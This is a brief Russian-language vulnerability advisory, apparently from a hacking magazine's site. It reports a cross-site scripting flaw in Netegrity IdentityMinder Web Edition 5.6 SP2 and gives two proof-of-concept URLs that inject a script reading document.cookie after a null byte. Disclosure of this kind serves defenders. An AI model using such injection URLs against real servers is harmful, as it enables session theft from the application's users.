Межсайтовый скриптинг в Netegrity IdentityMinder Web Edition

Рекомендуем почитать:

Хакер #327. Doom.ttf

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: IdentityMinder Web Edition 5.6 SP2 

Уязвимость в Netegrity IdentityMinder Web Edition позволяет удаленному пользователю выполнить XSS нападение.
Сервер не фильтрует HTML код в URL, который содержит '%00' символ. 

Пример: 

http://PUT_ADDRESS_HERE/idm/ PUT_SITE_NAME_HERE/ims_mainconsole_principalpo
puphandler.do?searchAttrs0=%25GROUP_NAME% 25&searchOperators0=EQUALS&searchFilter0=
&searchOrgDN=PUT_DN_HERE&incChildren OrgFlag=NO&resultsPerPage=10&oid=
&imsui_taskstate=RESOLVE_SCOPE& imsui_tpnametosearch=group &numOfExpressions=1%00<script>alert(document.cookie)
</script>

http://PUT_ADDRESS_HERE:7001/idmmanage/ mobjattr.do?diroid=PUT_OID_HERE &attrname=Group%20Members&mobjtype=2
<script>alert(document.cookie)&lt;/script>